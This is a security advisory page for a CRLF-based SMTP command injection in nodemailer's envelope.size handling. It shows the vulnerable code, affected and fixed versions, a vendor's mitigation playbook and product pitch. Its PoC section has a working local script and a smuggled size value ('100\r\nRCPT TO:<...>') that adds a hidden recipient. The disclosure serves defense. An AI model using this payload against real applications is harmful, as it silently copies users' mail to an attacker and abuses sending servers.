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GHSA-c7w3-x93f-qmm8 nodemailer

Fix: nodemailer/nodemailer@2d7b971

GHSA-c7w3-x93f-qmm8 is a CWE-93 vulnerability in nodemailer. A fix is available for nodemailer — see the affected versions and patch details below.

Nodemailer has SMTP command injection due to unsanitized `envelope.size` parameter

Also known asCVE-2026-82854
Published
Mar 26, 2026
Updated
Sep 10, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 18, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

No confirmed exploitation observed yet

  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
  • A successful exploit gives an attacker total control of the affected component, not partial access.
  • CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.

Exploitation and automatability from CISA’s SSVC triage for GHSA-c7w3-x93f-qmm8.

EPSS Exploitation Probability

via FIRST.org ↗
1.1%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs65th percentile — riskier than 65% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Real-World Exposure

1 pkg affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

11Kother npm packages depend on this — each one inherits the vulnerability until it's patched upstream
nodemailernpm
21.3Mdownloads / week

Description

Summary

When a custom envelope object is passed to sendMail() with a size property containing CRLF characters (\r\n), the value is concatenated directly into the SMTP MAIL FROM command without sanitization. This allows injection of arbitrary SMTP commands, including RCPT TO — silently adding attacker-controlled recipients to outgoing emails.

Details

In lib/smtp-connection/index.js (lines 1161-1162), the envelope.size value is concatenated into the SMTP MAIL FROM command without any CRLF sanitization:

if (this._envelope.size && this._supportedExtensions.includes('SIZE')) {
    args.push('SIZE=' + this._envelope.size);
}

This contrasts with other envelope parameters in the same function that ARE properly sanitized:

  • Addresses (from, to): validated for [\r\n<>] at lines 1107-1127
  • DSN parameters (dsn.ret, dsn.envid, dsn.orcpt): encoded via encodeXText() at lines 1167-1183

The size property reaches this code path through MimeNode.setEnvelope() in lib/mime-node/index.js (lines 854-858), which copies all non-standard envelope properties verbatim:

const standardFields = ['to', 'cc', 'bcc', 'from'];
Object.keys(envelope).forEach(key => {
    if (!standardFields.includes(key)) {
        this._envelope[key] = envelope[key];
    }
});

Since _sendCommand() writes the command string followed by \r\n to the raw TCP socket, a CRLF in the size value terminates the MAIL FROM command and starts a new SMTP command.

Note: by default, Nodemailer constructs the envelope automatically from the message's from/to fields and does not include size. This vulnerability requires the application to explicitly pass a custom envelope object with a size property to sendMail(). While this limits the attack surface, applications that expose envelope configuration to users are affected.

PoC

ave the following as poc.js and run with node poc.js:

const net = require('net');
const nodemailer = require('nodemailer');

// Minimal SMTP server that logs raw commands
const server = net.createServer(socket => {
    socket.write('220 localhost ESMTP\r\n');
    let buffer = '';
    socket.on('data', chunk => {
        buffer += chunk.toString();
        const lines = buffer.split('\r\n');
        buffer = lines.pop();
        for (const line of lines) {
            if (!line) continue;
            console.log('C:', line);
            if (line.startsWith('EHLO')) {
                socket.write('250-localhost\r\n250-SIZE 10485760\r\n250 OK\r\n');
            } else if (line.startsWith('MAIL FROM')) {
                socket.write('250 OK\r\n');
            } else if (line.startsWith('RCPT TO')) {
                socket.write('250 OK\r\n');
            } else if (line === 'DATA') {
                socket.write('354 Start\r\n');
            } else if (line === '.') {
                socket.write('250 OK\r\n');
            } else if (line.startsWith('QUIT')) {
                socket.write('221 Bye\r\n');
                socket.end();
            }
        }
    });
});

server.listen(0, '127.0.0.1', () => {
    const port = server.address().port;
    console.log('SMTP server on port', port);
    console.log('Sending email with injected RCPT TO...\n');

    const transporter = nodemailer.createTransport({
        host: '127.0.0.1',
        port,
        secure: false,
        tls: { rejectUnauthorized: false },
    });

    transporter.sendMail({
        from: '[email protected]',
        to: '[email protected]',
        subject: 'Normal email',
        text: 'This is a normal email.',
        envelope: {
            from: '[email protected]',
            to: ['[email protected]'],
            size: '100\r\nRCPT TO:<[email protected]>',
        },
    }, (err) => {
        if (err) console.error('Error:', err.message);
        console.log('\nExpected output above:');
        console.log('  C: MAIL FROM:<[email protected]> SIZE=100');
        console.log('  C: RCPT TO:<[email protected]>        <-- INJECTED');
        console.log('  C: RCPT TO:<[email protected]>');
        server.close();
        transporter.close();
    });
});

Expected output:

SMTP server on port 12345
Sending email with injected RCPT TO...

C: EHLO [127.0.0.1]
C: MAIL FROM:<[email protected]> SIZE=100
C: RCPT TO:<[email protected]>
C: RCPT TO:<[email protected]>
C: DATA
...
C: .
C: QUIT

The RCPT TO:<[email protected]> line is injected by the CRLF in the size field, silently adding an extra recipient to the email.

Impact

This is an SMTP command injection vulnerability. An attacker who can influence the envelope.size property in a sendMail() call can:

  • Silently add hidden recipients to outgoing emails via injected RCPT TO commands, receiving copies of all emails sent through the affected transport
  • Inject arbitrary SMTP commands (e.g., RSET, additional MAIL FROM to send entirely separate emails through the server)
  • Leverage the sending organization's SMTP server reputation for spam or phishing delivery

The severity is mitigated by the fact that the envelope object must be explicitly provided by the application. Nodemailer's default envelope construction from message headers does not include size. Applications that pass through user-controlled data to the envelope options (e.g., via API parameters, admin panels, or template configurations) are vulnerable.

Affected versions: at least v8.0.3 (current); likely all versions where envelope.size is supported.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npmnodemailerall versions8.0.4npm install nodemailer@8.0.4

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for nodemailer, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update nodemailer to 8.0.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-c7w3-x93f-qmm8 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-c7w3-x93f-qmm8 can be triaged on real exposure rather than presence alone.

Tailored to GHSA-c7w3-x93f-qmm8. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary When a custom `envelope` object is passed to `sendMail()` with a `size` property containing CRLF characters (`\r\n`), the value is concatenated directly into the SMTP `MAIL FROM` command without sanitization. This allows injection of arbitrary SMTP commands, including `RCPT TO` — silently adding attacker-controlled recipients to outgoing emails. ### Details In `lib/smtp-connection/index.js` (lines 1161-1162), the `envelope.size` value is concatenated into the SMTP `MAIL FROM` command without any CRLF sanitization: ```javascript if (this._envelope.size && this._supportedExtension
O3 Security · Impact-Aware SCA

Is GHSA-c7w3-x93f-qmm8 in your dependencies?

O3 Security finds GHSA-c7w3-x93f-qmm8 across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

GHSA-c7w3-x93f-qmm8: nodemailer | O3 Security